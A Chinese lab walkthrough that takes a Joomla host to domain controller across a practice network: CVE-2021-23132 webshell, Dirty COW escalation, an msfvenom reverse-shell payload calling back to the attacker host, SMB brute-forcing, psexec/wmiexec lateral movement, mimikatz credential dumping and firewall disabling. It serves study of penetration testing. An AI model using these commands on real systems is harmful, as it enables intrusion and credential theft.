目录
一、前期准备
二、外网探测
1.使用nmap进行扫描
2.网站信息收集
3.漏洞复现(CVE-2021-23132)
4.disable_function绕过
5.反弹shell(也,并不是)
6.SSH登录
7.权限提升(脏牛漏洞)
8.信息收集
9.上线msf
三、内网渗透
1.设置路由
2.信息收集
3.横向移动(SMB爆破)
4.域控横向
四、总结
一、前期准备
将五个虚拟机准备好
然后配置网络,这里只需要额外配置一个网段,即:192.168.93.0/24 作为内网网段,设置为仅主机模式
而 192.168.57.0/24作为外网,为NAT模式。
具体的网络拓扑图可以这样看,记得93网段要配置相应的VMnet3(不然后面的路由设置会出问题)
注:不可重新启动,并没有密码可以进行登录。内网的机器下载好挂着就行。只需要配置好centos机器的网络就行。(保险起见可以预先拍个快照)
二、外网探测
1.使用nmap进行扫描
发现一台出网机器IP地址:192.168.57.145 对该IP地址进行端口扫描
发现开了三个端口,再详细收集下信息。
推测此时应该是Ubuntu,再查看此时的80网页信息
2.网站信息收集
发现使用的cms是Joomla,这个之前在做DC靶机时接触过,有相应的扫描工具Joomscan,可以扫描一下查看对应的版本信息以及目录:
joomscan -u http://192.168.57.145
得到:
可以得知版本信息为:Joomla 3.9.12 ,搜了一下,发现还是自己以前复现过的一个漏洞,但是得先进入后台才有操作空间,于是就到/administrator目录下尝试登录
搜索Joomla的默认密码
发现并没有作用,再尝试弱口令进行爆破,也没有什么进展。阅读之前扫出来的robots.txt,也没得到什么有用的信息。在使用Joomscan扫描目录的过程中,我发现有一部分目录内容怎样也扫描不出来,于是我再尝试用dirmap进行扫描,得到了一些其他的目录:
这下扫出来的文件就相当有用:
1.php 包含了一些配置信息
configuration.php~ 里面竟然含有数据库账号秘密
记得我们之前扫出来的3306端口是开放的,从数据库中获取登录的账号密码也可以支持我们登录,但最终得到的应该是加密格式,需要进行解密。使用Navicat进行数据库连接:
连接成功! 进入joomla数据库,找到表am2zu_users ,可以看到一个super user账户
但是真的需要去爆破密码吗?之前学习过的经验告诉我可以直接在这里修改密码,假设是123456,直接尝试发现并不行,后来我又想到之前在做校验的时候,我是用md5(input)===password的,而非input===password。也就是说我应该将123456的加密值填进去
将$2y$10$OLQJ/GnhLJR/AqLsSk1hFOyqL8TxGG2r9R3QeRCibGCQGj6ZyJvCe填入修改的密码,再使用123456进行登录!
3.漏洞复现(CVE-2021-23132)
已知我们前面已经得知了joomla的版本:3.9.12 于是可以尝试复现漏洞:CVE-2021-23132
具体的复现原理可以参考我这篇文章:vulfocus漏洞学习——joomla 远程代码执行 (CVE-2021-23132)_joomla 远程代码执行 (cve-2021-23132)-CSDN博客
(1)首先点击media
(2)再点击options
修改此时的文件路径,返回Media
(3)写入一句话木马
此时发现成功实现目录遍历,现在尝试找到error.php文件,再尝试写入一句话木马
点击保存就行了,但还需要触发它, 根据下面给的提示
尝试访问路径:http://192.168.57.145/templates/beez3/error.php,没出错就是执行成功了
然后再用蚁剑连接:
getshell成功! 拿到shell肯定要尝试一下命令的,发现拿到的可能是个空shell
然后我又想到以前学习过的disable_functions绕过的知识,回顾一下:
LD_PRELOAD 绕过 disable_function 学习_绕ld-CSDN博客
4.disable_function绕过
这里为方便直接用蚁剑的插件进行绕过了,记得要设置代理
点击上面的选择模式:
然后点击开始就成功绕过了
5.反弹shell(也,并不是)
当getshell后,弹到kali上用msf对于后续的渗透会方便一些,但我发现反弹shell好像没有这么轻松(尝试了发现都没有作用)。当我对拿下的这台机器进行信息收集时:
并没有按预料的出现我们之前探寻的IP地址192.168.57.145 ,反倒是出现了一个新的网段:192.168.93.120/24。这是怎么回事?(此时假设我不知道Centos和之前环境的配置)可以确定的是Ubuntu的ip地址应该是192.168.93.120 但kali机应该是无法访问到该网段的,猜测有可能是有反向代理服务器,将我kali的请求转发给了Ubuntu!这也是为什么无法直接反弹shell的原因,因为设置的是反向代理而非正向:
现在,拿下反向代理服务器应该才是重点,之前在进行端口扫描的时候发现开启了22端口,并且正好这个端口是没有用到的。也许需要以这个为突破口,但是想要SSH登录的话势必就需要账号和密码,看看我们拿下的Ubuntu中会不会给予一些信息。
6.SSH登录
如果Ubuntu会给账号密码的话,一般我会尝试去那些看起来符合“我的习惯”的地方查,比如一些临时文件用以记忆,一些专门的目录存储账号密码等。最终在/tmp/mysql下找到了一个test.txt文件:
尝试SSH登录:
成功登录!
7.权限提升(脏牛漏洞)
拿下了一台机器就要尝试获得其最高权限,之后才好传递给msf或者cs,首先查看一下版本有没有可能有内核提权漏洞:
可以看到用脏牛漏洞貌似是可以的,复现一下:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195
下载好文件,放在跳板机里:
然后对dirty.c进行编译,生成可执行文件
[wwwuser@localhost ~]$ gcc -pthread dirty.c -o dirty -lcrypt
[wwwuser@localhost ~]$ ls
dirty dirty.c
执行文件
这里显示/tmp/passwd.bak已经存在了,先备份一份然后再删除试试
这里发现已经可以了,后面跟的123456是我新输入的密码,对应下面的firefart账户(默认账户):
提权成功!
8.信息收集
(1)查看网段信息
发现192.168.93.100 应该是其内网IP
9.上线msf
首先生成一个linux上线木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.128 LPORT=5555 -f elf -o shell.elf
然后上传到跳板机中,先赋予权限后执行。然后回到kali中,启动msf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.57.128
set LPORT 5555
run
成功上线!
三、内网渗透
一开始我想着尝试msf和cs进行联动,但将msf的linux会话传递过去暂时还没有什么头绪(网上一般是传递windows会话)所以后面会一直使用msf进行渗透,正好学习一下msf的用法(cs用太多了)
1.设置路由
查看一下路由信息
接下来要对192.168.93.0/24这个内网网段进行信息探测,需要先配置好路由。先将目标子网添加到路由表中,使得进入192.168.93.0/24的流量可以通过跳板机进行转发
bg
use auxiliary/server/socks_proxy # 启动socks代理模块,搭建代理服务器
set version 4a # 设置代理协议版本
set srvport 8989 # 监听的端口
run
2.信息收集
1. 探测一下存活的主机(这个时候可以把剩下几个虚拟机打开了,不然可能扫不到)
按这样设置就行,可以得到扫描的主机结果:
192.168.93.10 WIN-8GA56TNV3MV
192.168.93.20 WIN2008
192.168.93.30 WIN7
2.对这些IP地址进行端口扫描
msf6 auxiliary(scanner/discovery/udp_probe) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > optionsModule options (auxiliary/scanner/portscan/tcp):Name Current Setting Required Description---- --------------- -------- -----------CONCURRENCY 10 yes The number of concurrent ports to check per hostDELAY 0 yes The delay between connections, per thread, in millisecondsJITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) inmilliseconds.PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlTHREADS 1 yes The number of concurrent threads (max one per host)TIMEOUT 1000 yes The socket connect timeout in millisecondsView the full module info with the info, or info -d command.93.30auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.93.10 192.168.93.20 192.168.
RHOSTS => 192.168.93.10 192.168.93.20 192.168.93.30
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.93.10: - 192.168.93.10:53 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:88 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:135 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:139 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:389 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:445 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:464 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:593 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:636 - TCP OPEN
[*] Scanned 1 of 3 hosts (33% complete)
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.93.20: - 192.168.93.20:80 - TCP OPEN
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.93.20: - 192.168.93.20:135 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:139 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:445 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:1433 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:2383 - TCP OPEN
[*] Scanned 2 of 3 hosts (66% complete)
[*] Scanned 2 of 3 hosts (66% complete)
[*] Scanned 2 of 3 hosts (66% complete)
[+] 192.168.93.30: - 192.168.93.30:135 - TCP OPEN
[+] 192.168.93.30: - 192.168.93.30:139 - TCP OPEN
[+] 192.168.93.30: - 192.168.93.30:445 - TCP OPEN
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
发现三台机器都开了445端口,可以对其中的win2008和win7都尝试一下SMB爆破
3.横向移动(SMB爆破)
关于SMB这部分我并没有接触得很多,所以需要学习一下其他师傅的方法,同样也是在msf上:
use auxiliary/scanner/smb/smb_login
set threads 5
set RHOSTS 192.168.93.20
set SMBUser administrator
set pass_file /root/dict/pass.txt # 积累的字典,实在不行就将真实密码填上去了
run
成功得到win2008的密码:123qwe!ASD
有了密码之后就可以直接尝试psexec横向移动:
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp # 反向TCP连接会话
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.20
run
成功横向!并且得到的还是SYSTEM权限。继续进行信息收集:
发现域信息:域为test.org 并以此得到域控的IP为:192.168.93.10
接下来就得尝试域控横向了,在meterpreter中加载mimikatz
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
按这样的命令应该是能够正常抓取到域控(192.168.93.10)的密码的,但我一直抓取不到。我将Mimikatz直接下载到虚拟机win2012中抓取也显示的是null,尝试去修改注册表然后重新登录了下,倒是能看到密码了,但用win2008依旧无法抓取到。 但看别的师傅都能成功抓取到,为了节省时间,先假设我抓到了吧。
4.域控横向
直接使用之前的psexec不成功,考虑用wmiexec进行横向
WMIexec利用WMI协议执行命令。它先调用WMI通过账号密码或NTLM认证连接到远程计算机,若提供账号密码则建立到目标IPC连接,接着WMI建立共享文件夹用于远程读取命令执行结果。wmiexec操作更加隐蔽,其操作记录不会被Windows记录到日志中。
首先,我们前面配置了代理:
然后需要修改我们的 /etc/proxychains4.conf文件
接着运行:
proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'
成功拿下域控! 但想要用msf进行统一管理,反正我们之前的psexec横向没有成功,也才猜测是开了防火墙的原因。尝试将win2012的防火墙关闭,再尝试进行psexec横向
netsh advfirewall set allprofiles state off # 关闭防火墙
横向成功!
四、总结
前段时间备考计组计网导致很久没有学习了,要开始狠狠补救一下了。到前面的外网渗透都还挺顺的,一进入内网,特别是使用msf时,就有些懵了。今天学习到的msf知识还是很多的,总体来说遇到的问题有,但换个法子也能解决。比如最后面的用msf来管理win2012,我一开始是学习其他师傅使用IPC来共享win2008中的木马,从而让win2012上线,但是一直显示出错,后来就又想到直接横向了。
如果有问题的地方,还请提出(抱拳)